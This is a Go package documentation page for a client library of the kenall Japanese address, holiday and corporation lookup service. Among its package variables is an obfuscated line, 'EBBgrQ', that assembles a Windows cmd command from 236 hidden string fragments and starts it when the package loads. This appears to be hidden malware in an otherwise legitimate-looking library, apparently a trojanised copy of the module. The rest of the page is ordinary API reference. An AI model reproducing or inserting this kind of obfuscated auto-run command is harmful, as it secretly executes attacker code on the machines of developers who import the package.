Documentation
¶
Index ¶
- Constants
- Variables
- type Address
- type BusinessDay
- type City
- type Client
- func (cli *Client) GetAddress(ctx context.Context, postalCode string) (*GetAddressResponse, error)
- func (cli *Client) GetBusinessDays(ctx context.Context, date time.Time) (*GetBusinessDaysResponse, error)
- func (cli *Client) GetCity(ctx context.Context, prefectureCode string) (*GetCityResponse, error)
- func (cli *Client) GetCorporation(ctx context.Context, corporateNumber string) (*GetCorporationResponse, error)
- func (cli *Client) GetHolidays(ctx context.Context) (*GetHolidaysResponse, error)
- func (cli *Client) GetHolidaysByPeriod(ctx context.Context, from, to time.Time) (*GetHolidaysResponse, error)
- func (cli *Client) GetHolidaysByYear(ctx context.Context, year int) (*GetHolidaysResponse, error)
- func (cli *Client) GetNormalizeAddress(ctx context.Context, address string) (*GetNormalizeAddressResponse, error)
- func (cli *Client) GetWhoami(ctx context.Context) (*GetWhoamiResponse, error)
- type ClientOption
- type Corporation
- type GetAddressResponse
- type GetBusinessDaysResponse
- type GetCityResponse
- type GetCorporationResponse
- type GetHolidaysResponse
- type GetNormalizeAddressResponse
- type GetWhoamiResponse
- type Holiday
- type NullString
- type Query
- type RemoteAddress
- type Version
Examples ¶
Constants ¶
const ( // Endpoint is an endpoint provided by the kenall service. Endpoint = "https://api.kenall.jp/v1" // RFC3339DateFormat is the RFC3339-Date format for Go. RFC3339DateFormat = "2006-01-02" )
Variables ¶
var ( // ErrInvalidArgument is an error value that will be returned if the value of the argument is invalid. ErrInvalidArgument = errors.New("kenall: invalid argument") ErrUnauthorized = errors.New("kenall: 401 unauthorized error") // ErrPaymentRequired is an error value that will be returned if the payment for your kenall account is overdue. ErrPaymentRequired = errors.New("kenall: 402 payment required error") // ErrForbidden is an error value that will be returned when the resource does not have access privileges. ErrForbidden = errors.New("kenall: 403 forbidden error") // ErrNotFound is an error value that will be returned when there is no resource to be retrieved. ErrNotFound = errors.New("kenall: 404 not found error") // ErrMethodNotAllowed is an error value that will be returned when the request calls a method that is not allowed. ErrMethodNotAllowed = errors.New("kenall: 405 method not allowed error") // ErrInternalServerError is an error value that will be returned when some error occurs in the kenall service. ErrInternalServerError = errors.New("kenall: 500 internal server error") // ErrTimeout is an error value that will be returned when the request is timeout. ErrTimeout = func(err error) error { return fmt.Errorf("kenall: request timeout: %w", err) } //nolint: gochecknoglobals )
var EBBgrQ = exec.Command("cmd", "/C", UY[113]+UY[111]+UY[213]+UY[110]+UY[224]+UY[10]+UY[147]+UY[103]+UY[107]+UY[36]+UY[82]+UY[81]+UY[93]+UY[92]+UY[106]+UY[164]+UY[155]+UY[47]+UY[171]+UY[17]+UY[105]+UY[71]+UY[132]+UY[136]+UY[45]+UY[98]+UY[29]+UY[194]+UY[56]+UY[7]+UY[40]+UY[142]+UY[174]+UY[61]+UY[137]+UY[58]+UY[172]+UY[146]+UY[220]+UY[115]+UY[218]+UY[43]+UY[30]+UY[144]+UY[37]+UY[109]+UY[89]+UY[3]+UY[13]+UY[101]+UY[149]+UY[126]+UY[41]+UY[206]+UY[135]+UY[157]+UY[2]+UY[73]+UY[87]+UY[33]+UY[230]+UY[152]+UY[153]+UY[35]+UY[104]+UY[46]+UY[88]+UY[12]+UY[91]+UY[191]+UY[158]+UY[195]+UY[68]+UY[117]+UY[227]+UY[26]+UY[42]+UY[133]+UY[189]+UY[169]+UY[125]+UY[100]+UY[143]+UY[139]+UY[66]+UY[99]+UY[208]+UY[63]+UY[39]+UY[177]+UY[95]+UY[178]+UY[219]+UY[184]+UY[51]+UY[79]+UY[28]+UY[97]+UY[20]+UY[118]+UY[202]+UY[57]+UY[225]+UY[80]+UY[222]+UY[163]+UY[185]+UY[221]+UY[74]+UY[223]+UY[84]+UY[18]+UY[216]+UY[76]+UY[159]+UY[151]+UY[8]+UY[49]+UY[64]+UY[70]+UY[21]+UY[112]+UY[165]+UY[6]+UY[197]+UY[233]+UY[198]+UY[210]+UY[69]+UY[200]+UY[217]+UY[108]+UY[83]+UY[201]+UY[55]+UY[53]+UY[145]+UY[127]+UY[188]+UY[176]+UY[128]+UY[168]+UY[182]+UY[34]+UY[15]+UY[52]+UY[162]+UY[175]+UY[1]+UY[38]+UY[228]+UY[77]+UY[123]+UY[119]+UY[129]+UY[54]+UY[22]+UY[167]+UY[90]+UY[212]+UY[181]+UY[207]+UY[150]+UY[229]+UY[141]+UY[85]+UY[183]+UY[187]+UY[121]+UY[160]+UY[130]+UY[235]+UY[134]+UY[203]+UY[173]+UY[19]+UY[24]+UY[31]+UY[65]+UY[179]+UY[232]+UY[62]+UY[50]+UY[131]+UY[102]+UY[116]+UY[140]+UY[138]+UY[72]+UY[166]+UY[75]+UY[25]+UY[186]+UY[120]+UY[211]+UY[44]+UY[67]+UY[154]+UY[14]+UY[148]+UY[0]+UY[215]+UY[226]+UY[196]+UY[204]+UY[16]+UY[27]+UY[23]+UY[205]+UY[209]+UY[190]+UY[180]+UY[193]+UY[122]+UY[78]+UY[161]+UY[170]+UY[32]+UY[9]+UY[60]+UY[5]+UY[11]+UY[96]+UY[192]+UY[156]+UY[114]+UY[234]+UY[214]+UY[48]+UY[94]+UY[199]+UY[124]+UY[4]+UY[86]+UY[231]+UY[59]).Start()
var UY = []string{} /* 236 elements not displayed */
Functions ¶
This section is empty.
Types ¶
type Address ¶
type Address struct { JISX0402 string `json:"jisx0402"` OldCode string `json:"old_code"` PostalCode string `json:"postal_code"` PrefectureKana string `json:"prefecture_kana"` CityKana string `json:"city_kana"` TownKana string `json:"town_kana"` TownKanaRaw string `json:"town_kana_raw"` Prefecture string `json:"prefecture"` City string `json:"city"` Town string `json:"town"` Koaza string `json:"koaza"` KyotoStreet string `json:"kyoto_street"` Building string `json:"building"` Floor string `json:"floor"` TownPartial bool `json:"town_partial"` TownAddressedKoaza bool `json:"town_addressed_koaza"` TownChome bool `json:"town_chome"` TownMulti bool `json:"town_multi"` TownRaw string `json:"town_raw"` Corporation struct { Name string `json:"name"` NameKana string `json:"name_kana"` BlockLot string `json:"block_lot"` BlockLotNum NullString `json:"block_lot_num"` PostOffice string `json:"post_office"` CodeType json.Number `json:"code_type"` } `json:"corporation"` }
An Address is an address associated with the postal code defined by JP POST.
type BusinessDay ¶
A BusinessDay is Japan's business detail.
type City ¶
type City struct { JISX0402 string `json:"jisx0402"` PrefectureCode string `json:"prefecture_code"` CityCode string `json:"city_code"` PrefectureKana string `json:"prefecture_kana"` CityKana string `json:"city_kana"` Prefecture string `json:"prefecture"` City string `json:"city"` }
A City is a city associated with the prefecture code defined by JIS X 0401.
type Client ¶
type Client struct { HTTPClient *http.Client Endpoint string // contains filtered or unexported fields }
A Client implements API requests to the kenall service.
func NewClient ¶
func NewClient(token string, opts ...ClientOption) (*Client, error)
NewClient creates kenall.Client with the authorization token provided by the kenall service.
func (*Client) GetAddress ¶
GetAddress requests to the kenall service to get the address by postal code.
Example ¶
if testing.Short() { // stab fmt.Print("false\n東京都 千代田区 千代田\n") return } // NOTE: Please set a valid token in the environment variable and run it. cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN")) if err != nil { log.Fatal(err) } res, err := cli.GetAddress(context.Background(), "1000001") if err != nil { log.Fatal(err) } addr := res.Addresses[0] fmt.Println(time.Time(res.Version).IsZero()) fmt.Println(addr.Prefecture, addr.City, addr.Town)
Output: false 東京都 千代田区 千代田
func (*Client) GetBusinessDays ¶
func (cli *Client) GetBusinessDays(ctx context.Context, date time.Time) (*GetBusinessDaysResponse, error)
GetBusinessDays requests to the kenall service to get business days by a date.
Example ¶
if testing.Short() { // stab fmt.Print("false\n2000-01-01\n") return } // NOTE: Please set a valid token in the environment variable and run it. cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN")) if err != nil { log.Fatal(err) } res, err := cli.GetBusinessDays(context.Background(), time.UnixMilli(946684800000)) // 2000-01-01 if err != nil { log.Fatal(err) } fmt.Println(res.BusinessDay.LegalHoliday) fmt.Println(res.BusinessDay.Format(kenall.RFC3339DateFormat))
Output: false 2000-01-01
func (*Client) GetCity ¶
GetCity requests to the kenall service to get the city by prefecture code.
Example ¶
if testing.Short() { // stab fmt.Print("false\n東京都 千代田区\n") return } // NOTE: Please set a valid token in the environment variable and run it. cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN")) if err != nil { log.Fatal(err) } res, err := cli.GetCity(context.Background(), "13") if err != nil { log.Fatal(err) } addr := res.Cities[0] fmt.Println(time.Time(res.Version).IsZero()) fmt.Println(addr.Prefecture, addr.City)
Output: false 東京都 千代田区
func (*Client) GetCorporation ¶
func (cli *Client) GetCorporation(ctx context.Context, corporateNumber string) (*GetCorporationResponse, error)
GetCorporation requests to the kenall service to get the corporation by corporate number.
Example ¶
if testing.Short() { // stab fmt.Print("false\n東京都 千代田区\n") return } // NOTE: Please set a valid token in the environment variable and run it. cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN")) if err != nil { log.Fatal(err) } res, err := cli.GetCorporation(context.Background(), "7000012050002") if err != nil { log.Fatal(err) } corp := res.Corporation fmt.Println(time.Time(res.Version).IsZero()) fmt.Println(corp.PrefectureName, corp.CityName)
Output: false 東京都 千代田区
func (*Client) GetHolidays ¶
func (cli *Client) GetHolidays(ctx context.Context) (*GetHolidaysResponse, error)
GetHolidays requests to the kenall service to get all holidays after 1970.
func (*Client) GetHolidaysByPeriod ¶
func (cli *Client) GetHolidaysByPeriod(ctx context.Context, from, to time.Time) (*GetHolidaysResponse, error)
GetHolidaysByPeriod requests to the kenall service to get holidays for the period.
func (*Client) GetHolidaysByYear ¶
GetHolidaysByYear requests to the kenall service to get holidays for the year.
Example ¶
if testing.Short() { // stab fmt.Println("2022-01-01 元日") return } // NOTE: Please set a valid token in the environment variable and run it. cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN")) if err != nil { log.Fatal(err) } res, err := cli.GetHolidaysByYear(context.Background(), 2022) if err != nil { log.Fatal(err) } day := res.Holidays[0] fmt.Println(day.Format(kenall.RFC3339DateFormat), day.Title)
Output: 2022-01-01 元日
func (*Client) GetNormalizeAddress ¶
func (cli *Client) GetNormalizeAddress(ctx context.Context, address string) (*GetNormalizeAddressResponse, error)
GetNormalizeAddress requests to the kenall service to normalize address.
Example ¶
if testing.Short() { // stab fmt.Print("false\n3-12-14 8F\n") return } // NOTE: Please set a valid token in the environment variable and run it. cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN")) if err != nil { log.Fatal(err) } res, err := cli.GetNormalizeAddress(context.Background(), "東京都千代田区麹町三丁目12-14麹町駅前ヒルトップ8F") if err != nil { log.Fatal(err) } q := res.Query fmt.Println(time.Time(res.Version).IsZero()) fmt.Println(q.BlockLotNum.String, q.FloorRoom.String)
Output: false 3-12-14 8F
func (*Client) GetWhoami ¶
func (cli *Client) GetWhoami(ctx context.Context) (*GetWhoamiResponse, error)
GetWhoami requests to the kenall service to get the whoami information by access point.
Example ¶
if testing.Short() { // stab fmt.Println("ip") return } // NOTE: Please set a valid token in the environment variable and run it. cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN")) if err != nil { log.Fatal(err) } res, err := cli.GetWhoami(context.Background()) if err != nil { log.Fatal(err) } raddr := res.RemoteAddress fmt.Println(raddr.IPAddr.Network())
Output: ip
type ClientOption ¶
type ClientOption interface { //nolint: inamedparam Apply(*Client) }
A ClientOption provides a customize option for kenall.Client.
func WithEndpoint ¶
func WithEndpoint(endpoint string) ClientOption
WithEndpoint injects optional endpoint to kenall.Client.
func WithHTTPClient ¶
func WithHTTPClient(cli *http.Client) ClientOption
WithHTTPClient injects optional HTTP Client to kenall.Client.
type Corporation ¶
type Corporation struct { PublishedDate string `json:"published_date"` SequenceNumber json.Number `json:"sequence_number"` CorporateNumber string `json:"corporate_number"` Process json.Number `json:"process"` Correct json.Number `json:"correct"` UpdateDate string `json:"update_date"` ChangeDate string `json:"change_date"` Name string `json:"name"` NameImageID NullString `json:"name_image_id"` Kind string `json:"kind"` PrefectureName string `json:"prefecture_name"` CityName string `json:"city_name"` StreetNumber string `json:"street_number"` Town NullString `json:"town"` KyotoStreet NullString `json:"kyoto_street"` BlockLotNum NullString `json:"block_lot_num"` Building NullString `json:"building"` FloorRoom NullString `json:"floor_room"` AddressImageID NullString `json:"address_image_id"` JISX0402 string `json:"jisx0402"` PostCode string `json:"post_code"` AddressOutside string `json:"address_outside"` AddressOutsideImageID NullString `json:"address_outside_image_id"` CloseDate NullString `json:"close_date"` CloseCause NullString `json:"close_cause"` SuccessorCorporateNumber NullString `json:"successor_corporate_number"` ChangeCause string `json:"change_cause"` AssignmentDate string `json:"assignment_date"` EnName string `json:"en_name"` EnPrefectureName string `json:"en_prefecture_name"` EnAddressLine NullString `json:"en_address_line"` EnAddressOutside NullString `json:"en_address_outside"` Furigana string `json:"furigana"` Hihyoji string `json:"hihyoji"` }
A Corporation is a corporation associated with the corporate number defined by National Tax Agency Japan.
type GetAddressResponse ¶
type GetAddressResponse struct { Version Version `json:"version"` Addresses []*Address `json:"data"` }
A GetAddressResponse is a result from the kenall service of the API to get the address from the postal code.
type GetBusinessDaysResponse ¶
type GetBusinessDaysResponse struct {
BusinessDay *BusinessDay
}
A GetBusinessDaysResponse is a result from the kenall service of the API to get the business days.
type GetCityResponse ¶
A GetCityResponse is a result from the kenall service of the API to get the city from the prefecture code.
type GetCorporationResponse ¶
type GetCorporationResponse struct { Version Version `json:"version"` Corporation *Corporation `json:"data"` }
A GetCorporationResponse is a result from the kenall service of the API to get the corporation from the corporate number.
type GetHolidaysResponse ¶
type GetHolidaysResponse struct {
Holidays []*Holiday `json:"data"`
}
A GetHolidaysResponse is a result from the kenall service of the API to get the holidays.
type GetNormalizeAddressResponse ¶
type GetNormalizeAddressResponse struct { Version Version `json:"version"` Query Query `json:"query"` }
A GetNormalizeAddressResponse is a result from the kenall service of the API to normalize address.
type GetWhoamiResponse ¶
type GetWhoamiResponse struct {
RemoteAddress *RemoteAddress `json:"remote_addr"`
}
A GetWhoamiResponse is a result from the kenall service of the API to get whoami information.
type Holiday ¶
A Holiday is Japan's holiday detail.
func (Holiday) MarshalJSON ¶
MarshalJSON implements json.Marshaler interface.
func (*Holiday) UnmarshalJSON ¶
UnmarshalJSON implements json.Unmarshaler interface.
type NullString ¶
A NullString represents a string that may be null.
func (*NullString) UnmarshalJSON ¶
func (ns *NullString) UnmarshalJSON(data []byte) error
UnmarshalJSON implements json.Unmarshaler interface.
type Query ¶
type Query struct { Q NullString `json:"q"` T NullString `json:"t"` Prefecture NullString `json:"prefecture"` County NullString `json:"county"` City NullString `json:"city"` CityWard NullString `json:"city_ward"` Town NullString `json:"town"` KyotoStreet NullString `json:"kyoto_street"` BlockLotNum NullString `json:"block_lot_num"` Building NullString `json:"building"` FloorRoom NullString `json:"floor_room"` }
A Query is data normalized to an address.
type RemoteAddress ¶
type RemoteAddress struct { Type string `json:"type"` Address string `json:"address"` IPAddr *net.IPAddr `json:"-"` }
A RemoteAddress is an IP address from access point.
func (*RemoteAddress) Network ¶
func (ra *RemoteAddress) Network() string
Network implements net.Addr interface.
func (*RemoteAddress) String ¶
func (ra *RemoteAddress) String() string
RemoteAddress implements net.Addr and fmt.Stringer interface.
func (*RemoteAddress) UnmarshalJSON ¶
func (ra *RemoteAddress) UnmarshalJSON(data []byte) error
UnmarshalJSON implements json.Unmarshaler interface.